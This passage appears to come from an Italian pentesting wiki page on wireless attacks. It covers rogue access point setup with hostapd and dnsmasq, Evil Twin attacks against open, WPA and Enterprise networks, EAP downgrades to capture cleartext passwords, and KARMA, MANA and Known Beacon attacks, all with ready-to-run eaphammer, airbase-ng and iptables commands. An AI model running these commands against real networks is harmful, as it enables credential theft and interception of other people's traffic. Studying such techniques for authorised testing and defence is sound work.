|
|
server=8.8.8.8
|
|
log-queries
|
|
log-dhcp
|
|
listen-address=127.0.0.1
|
|
```
|
|
Poi **imposta gli IP** e **le rotte**:
|
|
```bash
|
|
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
|
|
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
|
|
```
|
|
E poi **avvia** dnsmasq:
|
|
```bash
|
|
dnsmasq -C dnsmasq.conf -d
|
|
```
|
|
### hostapd
|
|
```bash
|
|
apt-get install hostapd
|
|
```
|
|
Crea un file di configurazione `hostapd.conf`:
|
|
```ini
|
|
interface=wlan0
|
|
driver=nl80211
|
|
ssid=MITIWIFI
|
|
hw_mode=g
|
|
channel=11
|
|
macaddr_acl=0
|
|
ignore_broadcast_ssid=0
|
|
auth_algs=1
|
|
wpa=2
|
|
wpa_passphrase=mitmwifi123
|
|
wpa_key_mgmt=WPA-PSK
|
|
wpa_pairwise=CCMP
|
|
wpa_group_rekey=86400
|
|
ieee80211n=1
|
|
wme_enabled=1
|
|
```
|
|
**Ferma i processi fastidiosi**, imposta **la modalità monitor** e **avvia hostapd**:
|
|
```bash
|
|
airmon-ng check kill
|
|
iwconfig wlan0 mode monitor
|
|
ifconfig wlan0 up
|
|
hostapd ./hostapd.conf
|
|
```
|
|
### Inoltro e Reindirizzamento
|
|
```bash
|
|
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
|
|
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
|
|
echo 1 > /proc/sys/net/ipv4/ip_forward
|
|
```
|
|
## Evil Twin
|
|
|
|
Un attacco evil twin sfrutta il modo in cui i client WiFi riconoscono le reti, facendo principalmente affidamento sul nome della rete (ESSID) senza richiedere alla stazione base (punto di accesso) di autenticarsi con il client. I punti chiave includono:
|
|
|
|
- **Difficoltà di Differenziazione**: I dispositivi faticano a distinguere tra punti di accesso legittimi e non autorizzati quando condividono lo stesso ESSID e tipo di crittografia. Le reti del mondo reale spesso utilizzano più punti di accesso con lo stesso ESSID per estendere la copertura senza soluzione di continuità.
|
|
- **Roaming del Client e Manipolazione della Connessione**: Il protocollo 802.11 consente ai dispositivi di spostarsi tra i punti di accesso all'interno dello stesso ESS. Gli attaccanti possono sfruttare questo attirando un dispositivo a disconnettersi dalla sua attuale stazione base e connettersi a una non autorizzata. Questo può essere realizzato offrendo un segnale più forte o interrompendo la connessione al punto di accesso legittimo attraverso metodi come pacchetti di deautenticazione o jamming.
|
|
- **Sfide nell'Esecuzione**: Eseguire con successo un attacco evil twin in ambienti con più punti di accesso ben posizionati può essere difficile. Deautenticare un singolo punto di accesso legittimo spesso porta il dispositivo a connettersi a un altro punto di accesso legittimo, a meno che l'attaccante non riesca a deautenticare tutti i punti di accesso vicini o a posizionare strategicamente il punto di accesso non autorizzato.
|
|
|
|
Puoi creare un Open Evil Twin molto basilare (senza capacità di instradare il traffico su Internet) facendo:
|
|
```bash
|
|
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
|
|
```
|
|
Puoi anche creare un Evil Twin utilizzando **eaphammer** (nota che per creare evil twins con eaphammer l'interfaccia **NON dovrebbe essere** in modalità **monitor**):
|
|
```bash
|
|
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
|
|
```
|
|
Oppure usando Airgeddon: `Options: 5,6,7,8,9 (all'interno del menu attacco Evil Twin).`
|
|
|
|
.png>)
|
|
|
|
Si prega di notare che per impostazione predefinita, se un ESSID nel PNL è salvato come protetto da WPA, il dispositivo non si connetterà automaticamente a un Evil Twin aperto. Puoi provare a DoS l'AP reale e sperare che l'utente si connetta manualmente al tuo Evil Twin aperto, oppure puoi DoS l'AP reale e utilizzare un WPA Evil Twin per catturare il handshake (utilizzando questo metodo non sarai in grado di far connettere la vittima a te poiché non conosci il PSK, ma puoi catturare il handshake e provare a decifrarlo).
|
|
|
|
_Alcuni OS e AV avviseranno l'utente che connettersi a una rete aperta è pericoloso..._
|
|
|
|
### WPA/WPA2 Evil Twin
|
|
|
|
Puoi creare un **Evil Twin utilizzando WPA/2** e se i dispositivi sono configurati per connettersi a quel SSID con WPA/2, cercheranno di connettersi. Comunque, **per completare il 4-way-handshake** devi anche **conoscere** la **password** che il client utilizzerà. Se **non la conosci**, la **connessione non sarà completata**.
|
|
```bash
|
|
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
|
|
```
|
|
### Enterprise Evil Twin
|
|
|
|
Per comprendere questi attacchi, ti consiglio di leggere prima il breve [WPA Enterprise explanation](#wpa-enterprise-mgt).
|
|
|
|
**Utilizzando hostapd-wpe**
|
|
|
|
`hostapd-wpe` ha bisogno di un **file di configurazione** per funzionare. Per **automatizzare** la generazione di queste configurazioni, puoi utilizzare [https://github.com/WJDigby/apd_launchpad](https://github.com/WJDigby/apd_launchpad) (scarica il file python all'interno di _/etc/hostapd-wpe/_).
|
|
```bash
|
|
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
|
|
hostapd-wpe ./victim/victim.conf -s
|
|
```
|
|
Nel file di configurazione puoi selezionare molte cose diverse come ssid, canale, file utente, cret/key, parametri dh, versione wpa e auth...
|
|
|
|
[**Utilizzando hostapd-wpe con EAP-TLS per consentire a qualsiasi certificato di effettuare il login.**](evil-twin-eap-tls.md)
|
|
|
|
**Utilizzando EAPHammer**
|
|
```bash
|
|
# Generate Certificates
|
|
./eaphammer --cert-wizard
|
|
|
|
# Launch Attack
|
|
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
|
|
```
|
|
Per impostazione predefinita, EAPHammer propone questi metodi di autenticazione (nota GTC come il primo da provare per ottenere password in chiaro e poi l'uso di metodi di autenticazione più robusti):
|
|
```
|
|
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
|
|
```
|
|
Questa è la metodologia predefinita per evitare lunghi tempi di connessione. Tuttavia, puoi anche specificare di servire i metodi di autenticazione dal più debole al più forte:
|
|
```
|
|
--negotiate weakest
|
|
```
|
|
Oppure puoi anche usare:
|
|
|
|
- `--negotiate gtc-downgrade` per utilizzare un'implementazione di downgrade GTC altamente efficiente (password in chiaro)
|
|
- `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` per specificare manualmente i metodi offerti (offrire gli stessi metodi di autenticazione nello stesso ordine dell'organizzazione renderà l'attacco molto più difficile da rilevare).
|
|
- [Trova ulteriori informazioni nel wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
|
|
|
|
**Utilizzando Airgeddon**
|
|
|
|
`Airgeddon` può utilizzare certificati precedentemente generati per offrire autenticazione EAP a reti WPA/WPA2-Enterprise. La rete falsa degraderà il protocollo di connessione a EAP-MD5 in modo da poter **catturare l'utente e l'MD5 della password**. Successivamente, l'attaccante può provare a decifrare la password.\
|
|
`Airgeddon` ti offre la possibilità di un **attacco Evil Twin continuo (rumoroso)** o **creare solo l'Evil Attack fino a quando qualcuno si connette (silenzioso).**
|
|
|
|
.png>)
|
|
|
|
### Debugging dei tunnel TLS PEAP e EAP-TTLS negli attacchi Evil Twins
|
|
|
|
_Questo metodo è stato testato in una connessione PEAP, ma poiché sto decrittografando un tunnel TLS arbitrario, dovrebbe funzionare anche con EAP-TTLS_
|
|
|
|
All'interno della **configurazione** di _hostapd-wpe_ **commenta** la riga che contiene _**dh_file**_ (da `dh_file=/etc/hostapd-wpe/certs/dh` a `#dh_file=/etc/hostapd-wpe/certs/dh`)\
|
|
Questo farà sì che `hostapd-wpe` **scambi chiavi utilizzando RSA** invece di DH, quindi sarai in grado di **decrittografare** il traffico successivamente **conoscendo la chiave privata del server**.
|
|
|
|
Ora avvia il **Evil Twin** utilizzando **`hostapd-wpe`** con quella configurazione modificata come al solito. Inoltre, avvia **`wireshark`** nell'**interfaccia** che sta eseguendo l'attacco Evil Twin.
|
|
|
|
Ora o più tardi (quando hai già catturato alcune intenzioni di autenticazione) puoi aggiungere la chiave RSA privata a wireshark in: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
|
|
|
|
Aggiungi una nuova voce e compila il modulo con questi valori: **Indirizzo IP = qualsiasi** -- **Porta = 0** -- **Protocollo = data** -- **File Chiave** (**seleziona il tuo file chiave**, per evitare problemi seleziona un file chiave **senza protezione da password**).
|
|
|
|
.png>)
|
|
|
|
E guarda il nuovo **"tab Decrypted TLS"**:
|
|
|
|
.png>)
|
|
|
|
## KARMA, MANA, Loud MANA e attacco ai beacon noti
|
|
|
|
### Liste nere/rosse di ESSID e MAC
|
|
|
|
Diversi tipi di Liste di Filtri di Controllo degli Accessi ai Media (MFACL) e i loro corrispondenti modi ed effetti sul comportamento di un Access Point (AP) fraudolento:
|
|
|
|
1. **Whitelist basata su MAC**:
|
|
- L'AP fraudolento risponderà solo alle richieste di probe da dispositivi specificati nella whitelist, rimanendo invisibile a tutti gli altri non elencati.
|
|
2. **Blacklist basata su MAC**:
|
|
- L'AP fraudolento ignorerà le richieste di probe da dispositivi sulla blacklist, rendendo effettivamente l'AP fraudolento invisibile a quei dispositivi specifici.
|
|
3. **Whitelist basata su SSID**:
|
|
- L'AP fraudolento risponderà alle richieste di probe solo per specifici ESSID elencati, rendendolo invisibile ai dispositivi le cui Liste di Rete Preferite (PNL) non contengono quegli ESSID.
|
|
4. **Blacklist basata su SSID**:
|
|
- L'AP fraudolento non risponderà alle richieste di probe per gli specifici ESSID sulla blacklist, rendendolo invisibile ai dispositivi che cercano quelle reti particolari.
|
|
```bash
|
|
# example EAPHammer MFACL file, wildcards can be used
|
|
09:6a:06:c8:36:af
|
|
37:ab:46:7a:9a:7c
|
|
c7:36:8c:b2:*:*
|
|
|
|
[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
|
|
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
|
|
```
|
|
|
|
```bash
|
|
# example ESSID-based MFACL file
|
|
name1
|
|
name2
|
|
name3
|
|
|
|
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
|
|
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
|
|
```
|
|
### KARMA
|
|
|
|
Questo metodo consente a un **attaccante di creare un punto di accesso (AP) malevolo che risponde a tutte le richieste di probe** da parte dei dispositivi che cercano di connettersi a reti. Questa tecnica **inganna i dispositivi facendoli connettere all'AP dell'attaccante** mimando le reti che i dispositivi stanno cercando. Una volta che un dispositivo invia una richiesta di connessione a questo AP non autorizzato, completa la connessione, portando il dispositivo a connettersi erroneamente alla rete dell'attaccante.
|
|
|
|
### MANA
|
|
|
|
Poi, **i dispositivi hanno iniziato a ignorare le risposte di rete non solide**, riducendo l'efficacia dell'attacco karma originale. Tuttavia, un nuovo metodo, noto come **attacco MANA**, è stato introdotto da Ian de Villiers e Dominic White. Questo metodo prevede che l'AP non autorizzato **catturi le Liste di Rete Preferite (PNL) dai dispositivi rispondendo alle loro richieste di probe broadcast** con nomi di rete (SSID) precedentemente solidi dai dispositivi. Questo attacco sofisticato elude le protezioni contro l'attacco karma originale sfruttando il modo in cui i dispositivi ricordano e danno priorità alle reti conosciute.
|
|
|
|
L'attacco MANA opera monitorando sia le richieste di probe dirette che quelle broadcast dai dispositivi. Per le richieste dirette, registra l'indirizzo MAC del dispositivo e il nome della rete richiesta, aggiungendo queste informazioni a un elenco. Quando viene ricevuta una richiesta broadcast, l'AP risponde con informazioni che corrispondono a una delle reti nell'elenco del dispositivo, attirando il dispositivo a connettersi all'AP non autorizzato.
|
|
```bash
|
|
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
|
|
```
|
|
### Loud MANA
|
|
|
|
Un **attacco Loud MANA** è una strategia avanzata per quando i dispositivi non utilizzano il probing diretto o quando le loro Liste di Rete Preferite (PNL) sono sconosciute all'attaccante. Funziona sul principio che **i dispositivi nella stessa area probabilmente condividono alcuni nomi di rete nelle loro PNL**. Invece di rispondere in modo selettivo, questo attacco trasmette risposte di probing per ogni nome di rete (ESSID) trovato nelle PNL combinate di tutti i dispositivi osservati. Questo approccio ampio aumenta la possibilità che un dispositivo riconosca una rete familiare e tenti di connettersi al Punto di Accesso (AP) malevolo.
|
|
```bash
|
|
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
|
|
```
|
|
### Known Beacon attack
|
|
|
|
Quando l'**attacco Loud MANA** potrebbe non essere sufficiente, l'**attacco Known Beacon** presenta un altro approccio. Questo metodo **forza il processo di connessione simulando un AP che risponde a qualsiasi nome di rete, ciclano attraverso un elenco di potenziali ESSID** derivati da una wordlist. Questo simula la presenza di numerose reti, sperando di abbinare un ESSID all'interno della PNL della vittima, inducendo un tentativo di connessione all'AP fabbricato. L'attacco può essere amplificato combinandolo con l'opzione `--loud` per un tentativo più aggressivo di catturare i dispositivi.
|
|
|
|
Eaphammer ha implementato questo attacco come un attacco MANA in cui tutti gli ESSID all'interno di un elenco sono caricati (puoi anche combinare questo con `--loud` per creare un attacco Loud MANA + Known beacons):
|
|
```bash
|
|
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
|
|
```
|
|
**Attacco Known Beacon Burst**
|
|
|
|
L'**attacco Known Beacon Burst** comporta la **trasmissione rapida di frame beacon per ogni ESSID elencato in un file**. Questo crea un ambiente denso di reti false, aumentando notevolmente la probabilità che i dispositivi si connettano all'AP malevolo, specialmente se combinato con un attacco MANA. Questa tecnica sfrutta la velocità e il volume per sopraffare i meccanismi di selezione della rete dei dispositivi.
|
|
```bash
|
|
# transmit a burst of 5 forged beacon packets for each entry in list
|
|
./forge-beacons -i wlan1 \
|
|
--bssid de:ad:be:ef:13:37 \
|
|
--known-essids-file known-s.txt \
|
|
--dst-addr 11:22:33:11:22:33 \
|
|
--burst-count 5
|
|
```
|
|
## Wi-Fi Direct
|
|
|
|
**Wi-Fi Direct** è un protocollo che consente ai dispositivi di collegarsi direttamente tra loro utilizzando il Wi-Fi senza la necessità di un punto di accesso wireless tradizionale. Questa capacità è integrata in vari dispositivi Internet of Things (IoT), come stampanti e televisori, facilitando la comunicazione diretta tra dispositivi. Una caratteristica notevole di Wi-Fi Direct è che un dispositivo assume il ruolo di punto di accesso, noto come proprietario del gruppo, per gestire la connessione.
|
|
|
|
La sicurezza per le connessioni Wi-Fi Direct è stabilita attraverso **Wi-Fi Protected Setup (WPS)**, che supporta diversi metodi per il pairing sicuro, tra cui:
|
|
|
|
- **Push-Button Configuration (PBC)**
|
|
- **PIN entry**
|
|
- **Near-Field Communication (NFC)**
|
|
|
|
Questi metodi, in particolare l'inserimento del PIN, sono suscettibili alle stesse vulnerabilità del WPS nelle reti Wi-Fi tradizionali, rendendoli obiettivi per vettori di attacco simili.
|
|
|
|
### EvilDirect Hijacking
|
|
|
|
**EvilDirect Hijacking** è un attacco specifico per Wi-Fi Direct. Rispecchia il concetto di attacco Evil Twin ma si concentra sulle connessioni Wi-Fi Direct. In questo scenario, un attaccante impersona un legittimo proprietario del gruppo con l'obiettivo di ingannare i dispositivi a connettersi a un'entità malevola. Questo metodo può essere eseguito utilizzando strumenti come `airbase-ng` specificando il canale, l'ESSID e l'indirizzo MAC del dispositivo impersonato:
|
|
|
|
## References
|
|
|
|
- [https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee](https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee)
|
|
- [https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9](https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9)
|
|
- [https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38](https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38)
|
|
- [https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d](https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d)
|
|
- [https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf](https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf)
|
|
- [http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
|
|
- [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
|
|
- [https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d](https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d)
|
|
- [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>)
|
|
- [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
|
|
|
|
TODO: Take a look to [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitacionde WPA in captive portals)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|